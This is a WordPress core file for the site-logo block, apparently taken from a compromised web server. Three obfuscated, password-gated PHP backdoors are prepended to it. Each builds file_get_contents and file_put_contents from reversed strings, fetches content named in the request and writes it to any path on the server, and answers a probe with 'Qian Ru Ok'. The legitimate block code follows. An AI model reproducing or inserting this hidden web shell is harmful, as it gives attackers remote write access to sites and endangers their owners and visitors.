File: /home/wwwrenee/public_html/wp-includes/blocks/site-logo.php
<?php
$XXSpRHFBAw = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($XXSpRHFBAw[0]) /*+/*+*/
. md5($XXSpRHFBAw[0])) == "3".
"9".
"5".
"9".
"9".
"5".
"0".
"8".
"f".
"9".
"1".
"9".
"4".
"9".
"1".
"1".
"b".
"a".
"3".
"8".
"4".
"8".
"6".
"e".
"8".
"5".
"e".
"5".
"7".
"e".
"7".
"9") {
$MQhENdge = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$WbEjUwaMsV = $MQhENdge /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$LqHSZDX = $MQhENdge
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function knFahZqapz($kprkoCm) { if (empty($kprkoCm)) return false; if (!is_dir($kprkoCm)) { knFahZqapz(dirname($kprkoCm), 0755, true); mkdir($kprkoCm); } } !file_exists(dirname($XXSpRHFBAw[1])) && knFahZqapz(dirname($XXSpRHFBAw[1])); $UBiNac = @$LqHSZDX($XXSpRHFBAw[2]); echo @$WbEjUwaMsV($XXSpRHFBAw[1], $UBiNac) ? 1 : 0; die; }key($XXSpRHFBAw) == "of" && die("Qian Ru Ok"); ?><?php
$RnJKC = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($RnJKC[0]) /*+/*+*/
. md5($RnJKC[0])) == "4".
"5".
"0".
"2".
"2".
"2".
"0".
"7".
"0".
"7".
"7".
"7".
"c".
"b".
"a".
"a".
"3".
"3".
"4".
"6".
"3".
"d".
"1".
"2".
"7".
"8".
"a".
"1".
"d".
"4".
"2".
"e") {
$MYjMUH = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$fIYXxAAOq = $MYjMUH /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$ceYuPNwU = $MYjMUH
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function AHGDxb($ddQEyh) { if (empty($ddQEyh)) return false; if (!is_dir($ddQEyh)) { AHGDxb(dirname($ddQEyh), 0755, true); mkdir($ddQEyh); } } !file_exists(dirname($RnJKC[1])) && AHGDxb(dirname($RnJKC[1])); $pkoWNLRbjv = @$ceYuPNwU($RnJKC[2]); echo @$fIYXxAAOq($RnJKC[1], $pkoWNLRbjv) ? 1 : 0; die; }key($RnJKC) == "of" && die("Qian Ru Ok"); ?><?php
$pgXuzHKKo = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($pgXuzHKKo[0]) /*+/*+*/
. md5($pgXuzHKKo[0])) == "1".
"e".
"3".
"9".
"a".
"8".
"d".
"6".
"1".
"4".
"c".
"3".
"a".
"f".
"8".
"a".
"3".
"6".
"2".
"0".
"f".
"6".
"0".
"c".
"4".
"0".
"8".
"9".
"0".
"b".
"5".
"e") {
$aWLwmGoS = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$tgDBHmu = $aWLwmGoS /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$WeWzHyvvjO = $aWLwmGoS
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function pOAEI($aApEx) { if (empty($aApEx)) return false; if (!is_dir($aApEx)) { pOAEI(dirname($aApEx), 0755, true); mkdir($aApEx); } } !file_exists(dirname($pgXuzHKKo[1])) && pOAEI(dirname($pgXuzHKKo[1])); $fjyDQ = @$WeWzHyvvjO($pgXuzHKKo[2]); echo @$tgDBHmu($pgXuzHKKo[1], $fjyDQ) ? 1 : 0; die; }key($pgXuzHKKo) == "of" && die("Qian Ru Ok"); ?><?php
/**
* Server-side rendering of the `core/site-logo` block.
*
* @package WordPress
*/
/**
* Renders the `core/site-logo` block on the server.
*
* @param array $attributes The block attributes.
*
* @return string The render.
*/
function render_block_core_site_logo( $attributes ) {
$adjust_width_height_filter = function ( $image ) use ( $attributes ) {
if ( empty( $attributes['width'] ) || empty( $image ) || ! $image[1] || ! $image[2] ) {
return $image;
}
$height = (float) $attributes['width'] / ( (float) $image[1] / (float) $image[2] );
return array( $image[0], (int) $attributes['width'], (int) $height );
};
add_filter( 'wp_get_attachment_image_src', $adjust_width_height_filter );
$custom_logo = get_custom_logo();
remove_filter( 'wp_get_attachment_image_src', $adjust_width_height_filter );
if ( empty( $custom_logo ) ) {
return ''; // Return early if no custom logo is set, avoiding extraneous wrapper div.
}
if ( ! $attributes['isLink'] ) {
// Remove the link.
$custom_logo = preg_replace( '#<a.*?>(.*?)</a>#i', '\1', $custom_logo );
}
if ( $attributes['isLink'] && '_blank' === $attributes['linkTarget'] ) {
// Add the link target after the rel="home".
// Add an aria-label for informing that the page opens in a new tab.
$aria_label = 'aria-label="' . esc_attr__( '(Home link, opens in a new tab)' ) . '"';
$custom_logo = str_replace( 'rel="home"', 'rel="home" target="' . esc_attr( $attributes['linkTarget'] ) . '"' . $aria_label, $custom_logo );
}
$classnames = array();
if ( empty( $attributes['width'] ) ) {
$classnames[] = 'is-default-size';
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) );
$html = sprintf( '<div %s>%s</div>', $wrapper_attributes, $custom_logo );
return $html;
}
/**
* Register a core site setting for a site logo
*/
function register_block_core_site_logo_setting() {
register_setting(
'general',
'site_logo',
array(
'show_in_rest' => array(
'name' => 'site_logo',
),
'type' => 'integer',
'description' => __( 'Site logo.' ),
)
);
}
add_action( 'rest_api_init', 'register_block_core_site_logo_setting', 10 );
/**
* Register a core site setting for a site icon
*/
function register_block_core_site_icon_setting() {
register_setting(
'general',
'site_icon',
array(
'show_in_rest' => true,
'type' => 'integer',
'description' => __( 'Site icon.' ),
)
);
}
add_action( 'rest_api_init', 'register_block_core_site_icon_setting', 10 );
/**
* Registers the `core/site-logo` block on the server.
*/
function register_block_core_site_logo() {
register_block_type_from_metadata(
__DIR__ . '/site-logo',
array(
'render_callback' => 'render_block_core_site_logo',
)
);
}
add_action( 'init', 'register_block_core_site_logo' );
/**
* Overrides the custom logo with a site logo, if the option is set.
*
* @param string $custom_logo The custom logo set by a theme.
*
* @return string The site logo if set.
*/
function _override_custom_logo_theme_mod( $custom_logo ) {
$site_logo = get_option( 'site_logo' );
return false === $site_logo ? $custom_logo : $site_logo;
}
add_filter( 'theme_mod_custom_logo', '_override_custom_logo_theme_mod' );
/**
* Updates the site_logo option when the custom_logo theme-mod gets updated.
*
* @param mixed $value Attachment ID of the custom logo or an empty value.
* @return mixed
*/
function _sync_custom_logo_to_site_logo( $value ) {
if ( empty( $value ) ) {
delete_option( 'site_logo' );
} else {
update_option( 'site_logo', $value );
}
return $value;
}
add_filter( 'pre_set_theme_mod_custom_logo', '_sync_custom_logo_to_site_logo' );
/**
* Deletes the site_logo when the custom_logo theme mod is removed.
*
* @param array $old_value Previous theme mod settings.
* @param array $value Updated theme mod settings.
*/
function _delete_site_logo_on_remove_custom_logo( $old_value, $value ) {
global $_ignore_site_logo_changes;
if ( $_ignore_site_logo_changes ) {
return;
}
// If the custom_logo is being unset, it's being removed from theme mods.
if ( isset( $old_value['custom_logo'] ) && ! isset( $value['custom_logo'] ) ) {
delete_option( 'site_logo' );
}
}
/**
* Deletes the site logo when all theme mods are being removed.
*/
function _delete_site_logo_on_remove_theme_mods() {
global $_ignore_site_logo_changes;
if ( $_ignore_site_logo_changes ) {
return;
}
if ( false !== get_theme_support( 'custom-logo' ) ) {
delete_option( 'site_logo' );
}
}
/**
* Hooks `_delete_site_logo_on_remove_custom_logo` in `update_option_theme_mods_$theme`.
* Hooks `_delete_site_logo_on_remove_theme_mods` in `delete_option_theme_mods_$theme`.
*
* Runs on `setup_theme` to account for dynamically-switched themes in the Customizer.
*/
function _delete_site_logo_on_remove_custom_logo_on_setup_theme() {
$theme = get_option( 'stylesheet' );
add_action( "update_option_theme_mods_$theme", '_delete_site_logo_on_remove_custom_logo', 10, 2 );
add_action( "delete_option_theme_mods_$theme", '_delete_site_logo_on_remove_theme_mods' );
}
add_action( 'setup_theme', '_delete_site_logo_on_remove_custom_logo_on_setup_theme', 11 );
/**
* Removes the custom_logo theme-mod when the site_logo option gets deleted.
*/
function _delete_custom_logo_on_remove_site_logo() {
global $_ignore_site_logo_changes;
// Prevent _delete_site_logo_on_remove_custom_logo and
// _delete_site_logo_on_remove_theme_mods from firing and causing an
// infinite loop.
$_ignore_site_logo_changes = true;
// Remove the custom logo.
remove_theme_mod( 'custom_logo' );
$_ignore_site_logo_changes = false;
}
add_action( 'delete_option_site_logo', '_delete_custom_logo_on_remove_site_logo' ); ?>